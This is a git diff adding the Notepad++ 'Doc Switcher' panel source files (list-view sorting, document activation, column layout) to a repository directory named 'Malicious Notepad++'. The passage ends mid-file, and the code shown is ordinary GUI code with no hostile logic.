/dev/null +++ b/Malicious Notepad++/src/WinControls/VerticalFileSwitcher/VerticalFileSwitcher.cpp @@ -0,0 +1,270 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + + +#include "VerticalFileSwitcher.h" +#include "menuCmdID.h" +#include "Parameters.h" +//#include "localization.h" + +int CALLBACK ListViewCompareProc(LPARAM lParam1, LPARAM lParam2, LPARAM lParamSort) +{ + LPNMLISTVIEW pnmListView = (LPNMLISTVIEW)lParamSort; + TCHAR str1[MAX_PATH]; + TCHAR str2[MAX_PATH]; + + ListView_GetItemText(pnmListView->hdr.hwndFrom, lParam1, pnmListView->iSubItem, str1, sizeof(str1)); + ListView_GetItemText(pnmListView->hdr.hwndFrom, lParam2, pnmListView->iSubItem, str2, sizeof(str2)); + + LVCOLUMN lvc; + lvc.mask = LVCF_FMT; + ::SendMessage(pnmListView->hdr.hwndFrom, LVM_GETCOLUMN, pnmListView->iSubItem, reinterpret_cast(&lvc)); + bool isDirectionUp = (HDF_SORTUP & lvc.fmt) != 0; + + int result = lstrcmp(str1, str2); + + if (isDirectionUp) + return result; + + return (0 - result); +}; + +INT_PTR CALLBACK VerticalFileSwitcher::run_dlgProc(UINT message, WPARAM wParam, LPARAM lParam) +{ + switch (message) + { + case WM_INITDIALOG : + { + _fileListView.init(_hInst, _hSelf, _hImaLst); + _fileListView.initList(); + _fileListView.display(); + + return TRUE; + } + + case WM_NOTIFY: + { + switch (((LPNMHDR)lParam)->code) + { + case NM_DBLCLK: + { + LPNMITEMACTIVATE lpnmitem = (LPNMITEMACTIVATE) lParam; + int i = lpnmitem->iItem; + if (i == -1) + { + ::SendMessage(_hParent, WM_COMMAND, IDM_FILE_NEW, 0); + } + return TRUE; + } + + case NM_CLICK: + { + if ((0x80 & GetKeyState(VK_CONTROL)) || (0x80 & GetKeyState(VK_SHIFT))) + return TRUE; + + LPNMITEMACTIVATE lpnmitem = (LPNMITEMACTIVATE) lParam; + int nbItem = ListView_GetItemCount(_fileListView.getHSelf()); + int i = lpnmitem->iItem; + if (i == -1 || i >= nbItem) + return TRUE; + + LVITEM item; + item.mask = LVIF_PARAM; + item.iItem = i; + ListView_GetItem(((LPNMHDR)lParam)->hwndFrom, &item); + TaskLstFnStatus *tlfs = (TaskLstFnStatus *)item.lParam; + + activateDoc(tlfs); + return TRUE; + } + + case NM_RCLICK : + { + // Switch to the right document + LPNMITEMACTIVATE lpnmitem = (LPNMITEMACTIVATE) lParam; + int nbItem = ListView_GetItemCount(_fileListView.getHSelf()); + + if (nbSelectedFiles() == 1) + { + int i = lpnmitem->iItem; + if (i == -1 || i >= nbItem) + return TRUE; + + LVITEM item; + item.mask = LVIF_PARAM; + item.iItem = i; + ListView_GetItem(((LPNMHDR)lParam)->hwndFrom, &item); + TaskLstFnStatus *tlfs = (TaskLstFnStatus *)item.lParam; + + activateDoc(tlfs); + } + // Redirect NM_RCLICK message to Notepad_plus handle + NMHDR nmhdr; + nmhdr.code = NM_RCLICK; + nmhdr.hwndFrom = _hSelf; + nmhdr.idFrom = ::GetDlgCtrlID(nmhdr.hwndFrom); + ::SendMessage(_hParent, WM_NOTIFY, nmhdr.idFrom, reinterpret_cast(&nmhdr)); + return TRUE; + } + + case LVN_GETINFOTIP: + { + LPNMLVGETINFOTIP pGetInfoTip = (LPNMLVGETINFOTIP)lParam; + int i = pGetInfoTip->iItem; + if (i == -1) + return TRUE; + generic_string fn = getFullFilePath((size_t)i); + lstrcpyn(pGetInfoTip->pszText, fn.c_str(), pGetInfoTip->cchTextMax); + return TRUE; + } + + case LVN_COLUMNCLICK: + { + LPNMLISTVIEW pnmLV = (LPNMLISTVIEW)lParam; + setHeaderOrder(pnmLV); + ListView_SortItemsEx(pnmLV->hdr.hwndFrom, ListViewCompareProc, reinterpret_cast(pnmLV)); + return TRUE; + } + case LVN_KEYDOWN: + { + switch (((LPNMLVKEYDOWN)lParam)->wVKey) + { + case VK_RETURN: + { + int i = ListView_GetSelectionMark(_fileListView.getHSelf()); + if (i == -1) + return TRUE; + + LVITEM item; + item.mask = LVIF_PARAM; + item.iItem = i; + ListView_GetItem(((LPNMHDR)lParam)->hwndFrom, &item); + TaskLstFnStatus *tlfs = (TaskLstFnStatus *)item.lParam; + activateDoc(tlfs); + return TRUE; + } + default: + break; + } + } + break; + + default: + break; + } + } + return TRUE; + + case WM_SIZE: + { + int width = LOWORD(lParam); + int height = HIWORD(lParam); + ::MoveWindow(_fileListView.getHSelf(), 0, 0, width, height, TRUE); + _fileListView.resizeColumns(width); + break; + } + + case WM_DESTROY: + { + _fileListView.destroy(); + break; + } + + default : + return DockingDlgInterface::run_dlgProc(message, wParam, lParam); + } + return DockingDlgInterface::run_dlgProc(message, wParam, lParam); +} + + +void VerticalFileSwitcher::activateDoc(TaskLstFnStatus *tlfs) const +{ + int view = tlfs->_iView; + BufferID bufferID = static_cast(tlfs->_bufID); + + auto currentView = ::SendMessage(_hParent, NPPM_GETCURRENTVIEW, 0, 0); + BufferID currentBufID = reinterpret_cast(::SendMessage(_hParent, NPPM_GETCURRENTBUFFERID, 0, 0)); + + if (bufferID == currentBufID && view == currentView) + return; + + int docPosInfo = static_cast(::SendMessage(_hParent, NPPM_GETPOSFROMBUFFERID, reinterpret_cast(bufferID), view)); + int view2set = docPosInfo >> 30; + int index2Switch = (docPosInfo << 2) >> 2 ; + + ::SendMessage(_hParent, NPPM_ACTIVATEDOC, view2set, index2Switch); +} + +int VerticalFileSwitcher::setHeaderOrder(LPNMLISTVIEW pnm_list_view) +{ + HWND hListView, colHeader; + LVCOLUMN lvc; + int q, cols; + int index = pnm_list_view->iSubItem; + + lvc.mask = LVCF_FMT; + hListView = pnm_list_view->hdr.hwndFrom; + SendMessage(hListView, LVM_GETCOLUMN, index, reinterpret_cast(&lvc)); + if(HDF_SORTUP & lvc.fmt) + { + //set the opposite arrow + lvc.fmt = lvc.fmt & (~HDF_SORTUP) | HDF_SORTDOWN; //turns off sort-up, turns on sort-down + SendMessage(hListView, LVM_SETCOLUMN, index, reinterpret_cast(&lvc)); + //use any sorting you would use, e.g. the LVM_SORTITEMS message + return SORT_DIRECTION_DOWN; + } + + if(HDF_SORTDOWN & lvc.fmt) + { + //the opposite + lvc.fmt = lvc.fmt & (~HDF_SORTDOWN) | HDF_SORTUP; + SendMessage(hListView, LVM_SETCOLUMN, index, reinterpret_cast(&lvc)); + return SORT_DIRECTION_UP; + } + + // this is the case our clicked column wasn't the one being sorted up until now + // so first we need to iterate through all columns and send LVM_SETCOLUMN to them with fmt set to NOT include these HDFs + colHeader = reinterpret_cast(SendMessage(hListView, LVM_GETHEADER, 0, 0)); + cols = static_cast(SendMessage(colHeader, HDM_GETITEMCOUNT, 0, 0)); + for (q = 0; q < cols; ++q) + { + //Get current fmt + SendMessage(hListView, LVM_GETCOLUMN, q, reinterpret_cast(&lvc)); + //remove both sort-up and sort-down + lvc.fmt = lvc.fmt & (~HDF_SORTUP) & (~HDF_SORTDOWN); + SendMessage(hListView, LVM_SETCOLUMN, q, reinterpret_cast(&lvc)); + } + + //read current fmt from clicked column + SendMessage(hListView, LVM_GETCOLUMN, index, reinterpret_cast(&lvc)); + // then set whichever arrow you feel like and send LVM_SETCOLUMN to this particular column + lvc.fmt = lvc.fmt | HDF_SORTUP; + SendMessage(hListView, LVM_SETCOLUMN, index, reinterpret_cast(&lvc)); + + return SORT_DIRECTION_UP; +} diff --git a/Malicious Notepad++/src/WinControls/VerticalFileSwitcher/VerticalFileSwitcher.h b/Malicious Notepad++/src/WinControls/VerticalFileSwitcher/VerticalFileSwitcher.h new file mode 100644 index 0000000..6d58181 --- /dev/null +++ b/Malicious Notepad++/src/WinControls/VerticalFileSwitcher/VerticalFileSwitcher.h @@ -0,0 +1,109 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#ifndef VERTICALFILESWITCHER_H +#define VERTICALFILESWITCHER_H + +#include "DockingDlgInterface.h" +#include "VerticalFileSwitcher_rc.h" +#include "VerticalFileSwitcherListView.h" + +#define FS_PROJECTPANELTITLE TEXT("Doc Switcher") + +class VerticalFileSwitcher : public DockingDlgInterface { +public: + VerticalFileSwitcher(): DockingDlgInterface(IDD_FILESWITCHER_PANEL) {}; + + void init(HINSTANCE hInst, HWND hPere, HIMAGELIST hImaLst) { + DockingDlgInterface::init(hInst, hPere); + _hImaLst = hImaLst; + }; + + virtual void display(bool toShow = true) const { + DockingDlgInterface::display(toShow); + }; + + void setParent(HWND parent2set){ + _hParent = parent2set; + }; + + //Activate document in scintilla by using the internal index + void activateDoc(TaskLstFnStatus *tlfs) const; + + int newItem(BufferID bufferID, int iView){ + return _fileListView.newItem(bufferID, iView); + }; + + int closeItem(BufferID bufferID, int iView){ + return _fileListView.closeItem(bufferID, iView); + }; + + void activateItem(BufferID bufferID, int iView) { + _fileListView.activateItem(bufferID, iView); + }; + + void setItemIconStatus(BufferID bufferID) { + _fileListView.setItemIconStatus(bufferID) ; + }; + + generic_string getFullFilePath(size_t i) const { + return _fileListView.getFullFilePath(i); + }; + + int setHeaderOrder(LPNMLISTVIEW pnm_list_view); + + int nbSelectedFiles() const { + return _fileListView.nbSelectedFiles(); + }; + + std::vector getSelectedFiles(bool reverse = false) const { + return _fileListView.getSelectedFiles(reverse); + }; + + void reload(){ + _fileListView.deleteColumn(1); + _fileListView.deleteColumn(0); + _fileListView.reload(); + }; + + virtual void setBackgroundColor(COLORREF bgColour) { + _fileListView.setBackgroundColor(bgColour); + }; + + virtual void setForegroundColor(COLORREF fgColour) { + _fileListView.setForegroundColor(fgColour); + }; + +protected: + virtual INT_PTR CALLBACK run_dlgProc(UINT message, WPARAM wParam, LPARAM lParam); + +private: + VerticalFileSwitcherListView _fileListView; + HIMAGELIST _hImaLst = nullptr; +}; +#endif // VERTICALFILESWITCHER_H diff --git a/Malicious Notepad++/src/WinControls/VerticalFileSwitcher/VerticalFileSwitcher.rc b/Malicious Notepad++/src/WinControls/VerticalFileSwitcher/VerticalFileSwitcher.rc new file mode 100644 index 0000000..7f3aa46 --- /dev/null +++ b/Malicious Notepad++/src/WinControls/VerticalFileSwitcher/VerticalFileSwitcher.rc @@ -0,0 +1,38 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + +#include +#include "VerticalFileSwitcher_rc.h" + +IDD_FILESWITCHER_PANEL DIALOGEX 26, 41, 142, 324 +STYLE DS_SETFONT | WS_POPUP | WS_CAPTION | WS_SYSMENU +EXSTYLE WS_EX_TOOLWINDOW | WS_EX_WINDOWEDGE +CAPTION "Doc Switcher" +FONT 8, "MS Sans Serif", 0, 0, 0x0 +BEGIN + //LISTBOX IDC_LIST_FILESWITCHER,50,44,78,120,LBS_NOINTEGRALHEIGHT | WS_VSCROLL | WS_TABSTOP +END diff --git a/Malicious Notepad++/src/WinControls/VerticalFileSwitcher/VerticalFileSwitcherListView.cpp b/Malicious Notepad++/src/WinControls/VerticalFileSwitcher/VerticalFileSwitcherListView.cpp new file mode 100644 index 0000000..9d089f4 --- /dev/null +++ b/Malicious Notepad++/src/WinControls/VerticalFileSwitcher/VerticalFileSwitcherListView.cpp @@ -0,0 +1,381 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + +#include +#include +#include "VerticalFileSwitcherListView.h" +#include "Buffer.h" +#include "localization.h" + +#define FS_ROOTNODE "DocSwitcher" +#define FS_CLMNNAME "ColumnName" +#define FS_CLMNEXT "ColumnExt" + +void VerticalFileSwitcherListView::init(HINSTANCE hInst, HWND parent, HIMAGELIST hImaLst) +{ + Window::init(hInst, parent); + _hImaLst = hImaLst; + INITCOMMONCONTROLSEX icex; + + // Ensure that the common control DLL is loaded. + icex.dwSize = sizeof(INITCOMMONCONTROLSEX); + icex.dwICC = ICC_LISTVIEW_CLASSES; + InitCommonControlsEx(&icex); + + // Create the list-view window in report view with label editing enabled. + int listViewStyles = LVS_REPORT /*| LVS_SINGLESEL*/ | LVS_AUTOARRANGE\ + | LVS_SHAREIMAGELISTS | LVS_SHOWSELALWAYS; + + _hSelf = ::CreateWindow(WC_LISTVIEW, + TEXT(""), + WS_CHILD | listViewStyles, + 0, + 0, + 0, + 0, + _hParent, + nullptr, + hInst, + nullptr); + if (!_hSelf) + { + throw std::runtime_error("VerticalFileSwitcherListView::init : CreateWindowEx() function return null"); + } + + ::SetWindowLongPtr(_hSelf, GWLP_USERDATA, reinterpret_cast(this)); + _defaultProc = reinterpret_cast(::SetWindowLongPtr(_hSelf, GWLP_WNDPROC, reinterpret_cast(staticProc))); + + ListView_SetExtendedListViewStyle(_hSelf, LVS_EX_FULLROWSELECT | LVS_EX_BORDERSELECT | LVS_EX_INFOTIP); + ListView_SetItemCountEx(_hSelf, 50, LVSICF_NOSCROLL); + ListView_SetImageList(_hSelf, _hImaLst, LVSIL_SMALL); +} + +void VerticalFileSwitcherListView::destroy() +{ + LVITEM item; + item.mask = LVIF_PARAM; + int nbItem = ListView_GetItemCount(_hSelf); + for (int i = 0 ; i < nbItem ; ++i) + { + item.iItem = i; + ListView_GetItem(_hSelf, &item); + TaskLstFnStatus *tlfs = (TaskLstFnStatus *)item.lParam; + delete tlfs; + } + ::DestroyWindow(_hSelf); + _hSelf = NULL; +} + +LRESULT VerticalFileSwitcherListView::runProc(HWND hwnd, UINT Message, WPARAM wParam, LPARAM lParam) +{ + return ::CallWindowProc(_defaultProc, hwnd, Message, wParam, lParam); +} + +void VerticalFileSwitcherListView::initList() +{ + TaskListInfo taskListInfo; + static HWND nppHwnd = ::GetParent(_hParent); + ::SendMessage(nppHwnd, WM_GETTASKLISTINFO, reinterpret_cast(&taskListInfo), TRUE); + + NppParameters *nppParams = NppParameters::getInstance(); + NativeLangSpeaker *pNativeSpeaker = nppParams->getNativeLangSpeaker(); + + bool isExtColumn = !nppParams->getNppGUI()._fileSwitcherWithoutExtColumn; + + RECT rc; + ::GetClientRect(_hParent, &rc); + int totalWidth = rc.right - rc.left; + + generic_string nameStr = pNativeSpeaker->getAttrNameStr(TEXT("Name"), FS_ROOTNODE, FS_CLMNNAME); + + insertColumn(nameStr.c_str(), (isExtColumn ? totalWidth - 50 : totalWidth), 0); + + if (isExtColumn) + { + generic_string extStr = pNativeSpeaker->getAttrNameStr(TEXT("Ext."), FS_ROOTNODE, FS_CLMNEXT); + insertColumn(extStr.c_str(), 50, 1); + } + + for (size_t i = 0, len = taskListInfo._tlfsLst.size(); i < len ; ++i) + { + TaskLstFnStatus & fileNameStatus = taskListInfo._tlfsLst[i]; + + TaskLstFnStatus *tl = new TaskLstFnStatus(fileNameStatus._iView, fileNameStatus._docIndex, fileNameStatus._fn, fileNameStatus._status, (void *)fileNameStatus._bufID); + + TCHAR fn[MAX_PATH]; + lstrcpy(fn, ::PathFindFileName(fileNameStatus._fn.c_str())); + + if (isExtColumn) + { + ::PathRemoveExtension(fn); + } + LVITEM item; + item.mask = LVIF_TEXT | LVIF_IMAGE | LVIF_PARAM; + + item.pszText = fn; + item.iItem = static_cast(i); + item.iSubItem = 0; + item.iImage = fileNameStatus._status; + item.lParam = reinterpret_cast(tl); + ListView_InsertItem(_hSelf, &item); + if (isExtColumn) + { + ListView_SetItemText(_hSelf, i, 1, ::PathFindExtension(fileNameStatus._fn.c_str())); + } + } + ListView_SetItemState(_hSelf, taskListInfo._currentIndex, LVIS_SELECTED | LVIS_FOCUSED, LVIS_SELECTED | LVIS_FOCUSED); +} + +void VerticalFileSwitcherListView::reload() +{ + removeAll(); + initList(); +} + +BufferID VerticalFileSwitcherListView::getBufferInfoFromIndex(int index, int & view) const +{ + int nbItem = ListView_GetItemCount(_hSelf); + if (index < 0 || index >= nbItem) + return BUFFER_INVALID; + + LVITEM item; + item.mask = LVIF_PARAM; + item.iItem = index; + ListView_GetItem(_hSelf, &item); + TaskLstFnStatus *tlfs = (TaskLstFnStatus *)item.lParam; + + view = tlfs->_iView; + return static_cast(tlfs->_bufID); +} + +int VerticalFileSwitcherListView::newItem(BufferID bufferID, int iView) +{ + int i = find(bufferID, iView); + if (i == -1) + { + i = add(bufferID, iView); + } + return i; +} + +void VerticalFileSwitcherListView::setItemIconStatus(BufferID bufferID) +{ + Buffer *buf = static_cast(bufferID); + + TCHAR fn[MAX_PATH]; + lstrcpy(fn, ::PathFindFileName(buf->getFileName())); + bool isExtColumn = !(NppParameters::getInstance())->getNppGUI()._fileSwitcherWithoutExtColumn; + if (isExtColumn) + { + ::PathRemoveExtension(fn); + } + LVITEM item; + item.pszText = fn; + item.iSubItem = 0; + item.iImage = buf->getUserReadOnly()||buf->getFileReadOnly()?2:(buf->isDirty()?1:0); + + int nbItem = ListView_GetItemCount(_hSelf); + + for (int i = 0 ; i < nbItem ; ++i) + { + item.mask = LVIF_PARAM; + item.iItem = i; + ListView_GetItem(_hSelf, &item); + TaskLstFnStatus *tlfs = (TaskLstFnStatus *)(item.lParam); + if (tlfs->_bufID == bufferID) + { + item.mask = LVIF_TEXT | LVIF_IMAGE; + ListView_SetItem(_hSelf, &item); + + if (isExtColumn) + { + ListView_SetItemText(_hSelf, i, 1, (LPTSTR)::PathFindExtension(buf->getFileName())); + + } + } + } +} + +generic_string VerticalFileSwitcherListView::getFullFilePath(size_t i) const +{ + size_t nbItem = ListView_GetItemCount(_hSelf); + if (i > nbItem) + return TEXT(""); + + LVITEM item; + item.mask = LVIF_PARAM; + item.iItem = static_cast(i); + ListView_GetItem(_hSelf, &item); + TaskLstFnStatus *tlfs = (TaskLstFnStatus *)item.lParam; + + return tlfs->_fn; +} + +int VerticalFileSwitcherListView::closeItem(BufferID bufferID, int iView) +{ + int i = find(bufferID, iView); + if (i != -1) + remove(i); + return i; +} + +void VerticalFileSwitcherListView::activateItem(BufferID bufferID, int iView) +{ + // Clean all selection + int nbItem = ListView_GetItemCount(_hSelf); + for (int i = 0; i < nbItem; ++i) + ListView_SetItemState(_hSelf, i, 0, LVIS_FOCUSED|LVIS_SELECTED); + + int i = newItem(bufferID, iView); + ListView_SetItemState(_hSelf, i, LVIS_FOCUSED|LVIS_SELECTED, LVIS_FOCUSED|LVIS_SELECTED); +} + +int VerticalFileSwitcherListView::add(BufferID bufferID, int iView) +{ + int index = ListView_GetItemCount(_hSelf); + Buffer *buf = static_cast(bufferID); + const TCHAR *fileName = buf->getFileName(); + + TaskLstFnStatus *tl = new TaskLstFnStatus(iView, 0, fileName, 0, (void *)bufferID); + + TCHAR fn[MAX_PATH]; + lstrcpy(fn, ::PathFindFileName(fileName)); + bool isExtColumn = !(NppParameters::getInstance())->getNppGUI()._fileSwitcherWithoutExtColumn; + if (isExtColumn) + { + ::PathRemoveExtension(fn); + } + LVITEM item; + item.mask = LVIF_TEXT | LVIF_IMAGE | LVIF_PARAM; + + item.pszText = fn; + item.iItem = index; + item.iSubItem = 0; + item.iImage = buf->getUserReadOnly()||buf->getFileReadOnly()?2:(buf->isDirty()?1:0); + item.lParam = reinterpret_cast(tl); + ListView_InsertItem(_hSelf, &item); + + if (isExtColumn) + { + ListView_SetItemText(_hSelf, index, 1, ::PathFindExtension(fileName)); + } + ListView_SetItemState(_hSelf, index, LVIS_FOCUSED|LVIS_SELECTED, LVIS_FOCUSED|LVIS_SELECTED); + + return index; +} + + +void VerticalFileSwitcherListView::remove(int index) +{ + LVITEM item; + item.mask = LVIF_PARAM; + item.iItem = index; + ListView_GetItem(_hSelf, &item); + TaskLstFnStatus *tlfs = (TaskLstFnStatus *)item.lParam; + delete tlfs; + ListView_DeleteItem(_hSelf, index); +} + +void VerticalFileSwitcherListView::removeAll() +{ + int nbItem = ListView_GetItemCount(_hSelf); + + for (int i = nbItem - 1; i >= 0 ; --i) + { + remove(i); + } +} + +int VerticalFileSwitcherListView::find(BufferID bufferID, int iView) const +{ + LVITEM item; + bool found = false; + int nbItem = ListView_GetItemCount(_hSelf); + int i = 0; + for (; i < nbItem ; ++i) + { + item.mask = LVIF_PARAM; + item.iItem = i; + ListView_GetItem(_hSelf, &item); + TaskLstFnStatus *tlfs = (TaskLstFnStatus *)item.lParam; + if (tlfs->_bufID == bufferID && tlfs->_iView == iView) + { + found = true; + break; + } + } + return (found?i:-1); +} + +void VerticalFileSwitcherListView::insertColumn(const TCHAR *name, int width, int index) +{ + LVCOLUMN lvColumn; + + lvColumn.mask = LVCF_TEXT | LVCF_WIDTH; + lvColumn.cx = width; + lvColumn.pszText = (TCHAR *)name; + ListView_InsertColumn(_hSelf, index, &lvColumn); +} + +void VerticalFileSwitcherListView::resizeColumns(int totalWidth) +{ + NppParameters *nppParams = NppParameters::getInstance(); + bool isExtColumn = !nppParams->getNppGUI()._fileSwitcherWithoutExtColumn; + if (isExtColumn) + { + ListView_SetColumnWidth(_hSelf, 0, totalWidth - 50); + ListView_SetColumnWidth(_hSelf, 1, 50); + } + else + { + ListView_SetColumnWidth(_hSelf, 0, totalWidth); + } +} + +std::vector VerticalFileSwitcherListView::getSelectedFiles(bool reverse) const +{ + std::vector files; + LVITEM item; + int nbItem = ListView_GetItemCount(_hSelf); + int i = 0; + for (; i < nbItem ; ++i) + { + int isSelected = ListView_GetItemState(_hSelf, i, LVIS_SELECTED); + bool isChosen = reverse?isSelected != LVIS_SELECTED:isSelected == LVIS_SELECTED; + if (isChosen) + { + item.mask = LVIF_PARAM; + item.iItem = i; + ListView_GetItem(_hSelf, &item); + + TaskLstFnStatus *tlfs = (TaskLstFnStatus *)item.lParam; + files.push_back(SwitcherFileInfo(static_cast(tlfs->_bufID), tlfs->_iView)); + } + } + + return files; +} diff --git a/Malicious Notepad++/src/WinControls/VerticalFileSwitcher/VerticalFileSwitcherListView.h b/Malicious Notepad++/src/WinControls/VerticalFileSwitcher/VerticalFileSwitcherListView.h new file mode 100644 index 0000000..9ee7834 --- /dev/null +++ b/Malicious Notepad++/src/WinControls/VerticalFileSwitcher/VerticalFileSwitcherListView.h @@ -0,0 +1,105 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#ifndef VERTICALFILESWITCHERLISTVIEW_H +#define VERTICALFILESWITCHERLISTVIEW_H + +#include "Window.h" +#include "TaskListDlg.h" + +class Buffer; +typedef Buffer * BufferID; //each buffer has unique ID by which it can be retrieved + +#define SORT_DIRECTION_UP 0 +#define SORT_DIRECTION_DOWN 1 + +struct SwitcherFileInfo { + BufferID _bufID; + int _iView; + SwitcherFileInfo(BufferID buf, int view) : _bufID(buf), _iView(view){}; +}; + +class VerticalFileSwitcherListView : public Window +{ +public: + VerticalFileSwitcherListView() : Window() {}; + + virtual ~VerticalFileSwitcherListView() {}; + virtual void init(HINSTANCE hInst, HWND parent, HIMAGELIST hImaLst); + virtual void destroy(); + void initList(); + BufferID getBufferInfoFromIndex(int index, int & view) const; + void setBgColour(int i) { + ListView_SetItemState(_hSelf, i, LVIS_SELECTED|LVIS_FOCUSED, 0xFF); + } + int newItem(BufferID bufferID, int iView); + int closeItem(BufferID bufferID, int iView); + void activateItem(BufferID bufferID, int iView); + void setItemIconStatus(BufferID bufferID); + generic_string getFullFilePath(size_t i) const; + + void insertColumn(const TCHAR *name, int width, int index); + void resizeColumns(int totalWidth); + void deleteColumn(size_t i) { + ListView_DeleteColumn(_hSelf, i); + }; + int nbSelectedFiles() const { + return static_cast(SendMessage(_hSelf, LVM_GETSELECTEDCOUNT, 0, 0)); + }; + + std::vector getSelectedFiles(bool reverse = false) const; + void reload(); + + void setBackgroundColor(COLORREF bgColour) { + ListView_SetBkColor(_hSelf, bgColour); + ListView_SetTextBkColor(_hSelf, bgColour); + redraw(true); + }; + + void setForegroundColor(COLORREF fgColour) { + ListView_SetTextColor(_hSelf, fgColour); + redraw(true); + }; + +protected: + HIMAGELIST _hImaLst; + WNDPROC _defaultProc; + LRESULT runProc(HWND hwnd, UINT Message, WPARAM wParam, LPARAM lParam); + + static LRESULT CALLBACK staticProc(HWND hwnd, UINT Message, WPARAM wParam, LPARAM lParam) { + return (((VerticalFileSwitcherListView *)(::GetWindowLongPtr(hwnd, GWLP_USERDATA)))->runProc(hwnd, Message, wParam, lParam)); + }; + + int find(BufferID bufferID, int iView) const; + int add(BufferID bufferID, int iView); + void remove(int index); + void removeAll(); +}; + + +#endif // VERTICALFILESWITCHERLISTVIEW_H diff --git a/Malicious Notepad++/src/WinControls/VerticalFileSwitcher/VerticalFileSwitcher_rc.h b/Malicious Notepad++/src/WinControls/VerticalFileSwitcher/VerticalFileSwitcher_rc.h new file mode 100644 index 0000000..1f1e645 --- /dev/null +++ b/Malicious Notepad++/src/WinControls/VerticalFileSwitcher/VerticalFileSwitcher_rc.h @@ -0,0 +1,36 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#ifndef 